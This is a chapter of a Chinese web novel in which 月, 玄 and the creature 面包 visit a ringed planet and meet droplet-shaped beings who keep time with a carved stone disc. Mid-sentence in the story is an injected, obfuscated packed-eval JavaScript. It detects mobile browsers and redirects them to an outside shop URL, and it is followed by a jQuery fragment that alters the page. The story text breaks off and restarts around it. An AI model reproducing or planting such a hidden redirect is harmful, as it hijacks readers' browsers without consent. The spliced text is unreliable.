跃迁通道里安安静静的。月裹着玄的外套睡了一觉,醒过来的时候面包还缩在她怀里,绒毛暖融融地贴着她的小腹,灯泡一闪不闪的,睡得死沉。
她没动,就那么靠着座椅发呆。舷窗外的星光已经从点拉成了线,又从线拉成了一种均匀流淌的银白色光流,温和地往前淌着,像一条不会发出声响的河。
"还有多久?"玄在后面问。
月扭头看了一眼导航仪:"按面包的老乡画的那条路线,大概再一个多钟头就到了。快了。"
她把面包轻轻放在副驾驶座上,自己爬起来凑到导航仪前面调参数。胸口的蓝色小星星蹭在衣服内层,温温热热的,提醒她记着第二颗星星上那棵发光的晶柱和四条会嗡的飘带。
"等会儿到了那颗有环的星星,咱先不急着赶路。"月一边调参数一边说,"先看看那儿有什么好玩的。上两颗星星都有好玩的,万一这颗也有呢?"
玄没接话。但月听见他换了个姿势靠在座椅上,像是默认了。
一个钟头之后,逃生舱轻轻震了一下,从跃迁通道里滑出来。
月趴在舷窗上的时候,第一眼看见的是光。一大片柔和的金色光从侧面照过来,把她整张脸都镀上了暖色。光源是一颗年轻的白矮星,不大,但亮得让人忍不住眯起眼睛。
白矮星的正前方,悬浮着一颗被她这辈子见过的最漂亮的行星。
它比第一颗星星大很多,表面是深浅不一的琥珀色和乳白色,像一整颗被剖开的宝石。最引人注目的是环绕在它外围的三道环,从内到外分别是银灰色、淡金色和半透明的乳白色,环与环之间有细碎的颗粒在缓缓浮动,像撒了一把碎钻被拉成了三条光带。
"漂亮。"月只叹了一句,然后就没声了。她趴在舷窗上看了好一会儿,脸上那种没心没肺的笑容收了收,变成了某种更安静的表情。
面包也醒了,它从副驾驶座上弹起来,舒展开身体把触角搭在舷窗上,灯泡缓缓变成了深黄色,像一颗小夕阳贴在玻璃上,就这么安安静静地发着光。
逃生舱穿过最外层那道半透明的乳白色环带。月把舱门打开一条缝,伸手出去捞了一把。
掌心落下一些细碎的颗粒,像极了被磨得极细的贝壳粉末,在光下闪着隐隐的虹彩色。她把手缩回来放在鼻子底下闻了闻。
"没味。"她有点失望,"我以为会有花香。"
"——太空里哪来的花香。"
"万一呢?"月把掌心的颗粒吹掉,拍了拍手,"上颗星星还像烤面包呢。"
逃生舱穿过第二道淡金色环带的时候,月看见那些颗粒更密了,个头也大了一些,像被磨碎的金沙。这次她没再伸手去捞,只是趴在舷窗上看着那些金色的颗粒被逃生舱的气流打散又聚拢。
穿到最后一道银灰色环带的时候,她注意到环带上有东西在动。那些颗粒组成的带状区域里,一些比周围颗粒大得多的团块正沿着环带的弧线缓慢移动,排成一列,间隔均匀,像某种有规律的编队。
"那些大块的是什么?"月眯着眼问玄。
玄凑过来看了看:"可能是环上的小卫星,或者大块岩石。"
"岩石会排这么整齐?"
玄没接茬,他也看出来了,那些团块之间的距离太均匀了,均匀得不像是自然形成的。
逃生舱终于穿过了所有环带,进入了星球的上层。这里有一层很稀薄的大气,月能感觉到舱体外面有微弱的气流在蹭过去。
地面在下方缓缓展开,琥珀色和乳白色的交错区域越来越清晰,像一块块被阳光晒透了的、切开的果冻。
她随便找了片平坦的空地降落。舱门打开的时候,一股温和的风涌进来。
干燥,带着一点点尘土的味道,还有一丝说不上来的、类似晒透了的草籽的香气。
面包从她肩膀滚下来,在地面上弹了一下。地面的材质跟第一颗星星完全不同,这里的土壤是坚实的砂质土壤,踩上去嘎吱嘎吱响,颜色是乳白混着淡淡的琥珀色。地面上面还覆盖着一层薄薄的、会反光的细沙,在光照下闪着碎金似的亮点。
远处的地平线上,那颗白矮星正挂在一个不高不低的位置,把整片大地照得暖融融的。
月站在原地转了一圈,深吸了一口气。
"这里好。"她说,语气笃定,"我喜欢这里。"
她往远处看,视野里有一片起伏的低矮丘陵,丘陵之间点缀着一些形状不规则的石头,大小不一,有的只到膝盖那么高,有的比人还高。那些石头的表面很光滑,在光照下泛着温润的光泽,像被打磨过的玉。
她朝最近的那块石头走过去。
走到跟前才发现,那块石头的表面不光滑。远看光滑,近了看上面刻满了纹路,一圈一圈的同心圆,圆心处有一个浅浅的凹槽,凹槽里积着一点点细沙。有些纹路的刻痕看起来很老了,边缘都被风磨圆了,但轮廓还是清晰可辨。
月蹲下来伸手摸了摸那些同心圆,纹路顺着她的指尖滑过去,手感细腻。
"这是画的什么?"她自言自语。
面包从她肩膀上探下来,灯泡变成了淡黄色,触角伸出去碰了碰同心圆的最外圈,然后缩回来"叮——"了一声。
"你知道?"月扭头看面包。
面包的灯泡闪了两下,触角比划了一个绕圈的动作,然后指了指天上那三道环。
"你是说,这是画的那三道环?"
面包又"叮——"了一声,灯泡变成了确认的暖黄色。
月低头重新看那块石头上的纹路。三个同心圆,从内到外大小递增,间距跟天上的三道环的比例差不多。凹槽在最内圈的圆心处,像是指着某个位置。
她站起来,环顾四周。周围的石头上几乎全都刻着差不多的纹路,有的深一些有的浅一些,但主题一致——全是同心圆,全是三道环,全在最中心有一个凹槽。
"这是他们的标志?"月摸了摸下巴,"这颗星星上的生物用三道环当图腾?"
她正琢磨着,远处传来一阵细微的声响。像是很多细小的脚步踩在砂质地面上,沙沙沙沙的,节奏轻快。
她抬头往那个方向看。
丘陵后面转出来一群……她不知道怎么形容,硬要说的话像是一群会走路的水滴。它们每一个大约有篮球那么大,形状是饱满的卵形,通体半透明,颜色是浅琥珀色,像是被稀释了的蜂蜜。它们没有明显的四肢,但身体底部有一圈细密的、像绒毛一样的突起,靠那些突起在地面上快速移动,速度比看着要快得多。
它们排成两列,整整齐齐地朝月的方向移动过来,像一支训练有素的微型仪仗队。
月站在原地没动。她低头看了一眼面包,面包的灯泡从淡黄变成了粉红色,是在表示好奇,没有害怕。
那群水滴状生物在距离她大约五米的地方停下来了。两列队伍整整齐齐,最前面的那个比别的稍微大一圈,颜色也深一些,像是琥珀含量更高。
大一点的那颗水滴缓缓往前挪了几步,停住。它的身体微微晃了晃,然后内部泛起一圈金色的光,从中心向外扩散,像一颗小太阳在水滴里亮起来。
光沿着它的身体表面流动,汇聚到顶部,然后喷出来一小簇极其微小的金色颗粒,这些金色颗粒被它喷到月的面前,飘散在空气里,像一小蓬金色的雾气。
月没躲。金色雾气飘到她脸上,带着一丝温热,有淡淡的甜味。
大水滴的身体又晃了晃,内部的金光再次亮起,又喷出一小蓬金色雾气。
月想了想,伸出掌心接住了第三蓬金雾。雾落在她手心,化成了一个小小的金色光点,像水珠一样贴在她掌心里,凉丝丝的。
大水滴晃了晃,像是在满意。
月蹲下来,跟它平视。"你好,"她说,"我叫月,路过这里,这就是你家吗?"
大水滴内部的金光闪了两下,然后它转身,朝来的方向挪了几步,停下来回头看她。
月跟上去了。面包趴在她肩膀,灯泡变成了暖黄色,触角随着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648581|206836||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她走路的节奏一晃一晃的。
玄照例跟在后面。
那群水滴状生物排成两列走在前面带路,步伐整齐划一,沙沙沙沙的声响像一首有节奏的曲子。月跟在后头,脚下嘎吱嘎吱踩着砂质土,白矮星的光把所有人的影子拉得短短的、圆圆的。
走了大约一刻钟,翻过几座低矮的丘陵,眼前豁然开朗。
那是一大片平坦的谷地,地面上铺满了那种会反光的细沙,整个谷地像一面打磨过的琥珀色镜子。谷地中央竖立着许多石柱,每一根都比人高,表面光滑,上面刻满了同心圆的纹路。石柱围着谷地中央的一个圆形区域排列,像一圈沉默的守卫。
圆形区域的正中间,有一块特别大的石头,是扁平的圆盘状,表面刻着三道环,环的纹路里嵌着金色的细沙,在光下闪闪发亮。
大水滴带着月走到圆盘石头的边缘停下来,身体内部的金光亮了又灭、灭了又亮,像是某种仪式性的致意。
月蹲在圆盘旁边看着那些刻在石头上的金色细沙,伸手轻轻碰了一下。她的指尖沾了一点金沙,放在光下看,那些细沙每一颗都极小极均匀,像被精心筛过的金粉。
"这是什么?"她抬头问大水滴。
大水滴内部金光涌动,然后它用身体底部的那圈绒毛在沙地上划拉了几下,画出了一个图案——三道环的简笔画,外加一个小箭头,箭头指向上方。
月顺着箭头往上看。白矮星正挂在头顶偏西的位置,光照在圆盘石头上,把那三道刻着金沙的环照得发亮。然后她注意到,光的角度跟圆盘上刻的环的间距形成了一种巧妙的对应——银灰色的环被照得最亮,淡金色的次之,乳白色的稍暗一些。
她又低头看了看圆盘上嵌着的金沙,又抬头看了看天上的三道环。光照过去,金沙发亮,像是某个开关。
"你们在记录时间?"月忽然说,"用这个圆盘和三道环的影子?"
大水滴内部的金光猛地亮了一下,整个身体都晃了晃,像在说"对对对!"。
月蹲在那儿,盯着那个圆盘看了好一会儿,脑子里把前两颗星星的见闻翻来覆去地想了一遍——第一颗星星上的软地面和那些圆滚滚会叮叮的生物,第二颗星星上的晶柱和飘带,现在这颗星星上的水滴和刻着环的石柱。
"你们每颗星星上都有自己的玩法啊。"月小声说了一句,乐了。
她在圆盘旁边坐下来,把面包从肩膀上接下来搁在膝盖上。那群水滴状生物围成了一个半圈,安安静静地停着,内部的金光忽明忽灭,像一盏盏小夜灯。
白矮星的光缓缓移动着,照在圆盘刻痕上的金色细沙上,光影一点一点地发生着变化。月就这么坐着看,看那些金沙发亮又暗下去,看光影在刻痕上缓缓地走。
面包缩在她膝盖上打盹,灯泡灭了。玄在几米外找了块平坦的石头坐下,靠着石柱闭了眼。
谷地里安安静静的。细沙在光下闪着碎金,水滴们的金光缓缓闪烁着,偶尔有风吹过来,带着干爽的草籽香,把月额前的碎发吹起来又放下。
月静静地坐在那儿,看着三道环的光影在地面上缓缓移动。
"你们这颗星星上的日子过得挺慢的。"她对着旁边的大水滴说。
大水滴内部的金光闪了两下,轻轻晃了晃身体。
月笑了笑,往后一仰躺在细沙地面上。沙子隔着衣服硌着她的背,细密的触感不算难受。天上的三道环从这个角度看过去,像三条重叠的光带悬挂在琥珀色的天幕上。白矮星的光照在她脸上,暖融融的。
面包从她膝盖上滚下来,滚到她胸口停住,舒展开身体趴在蓝色小星星旁边,绒毛毛茸茸的蹭着她的下巴。
月闭上了眼睛。
不着急,就这么躺一会儿。
等光影再走一截,她就起来去翻翻那些石柱上还刻了别的什么图案。说不定能找出这条星星上藏着的小故事,她还挺想听的。
风吹过来,把她的头发又吹乱了。
她也懒得伸手去捋。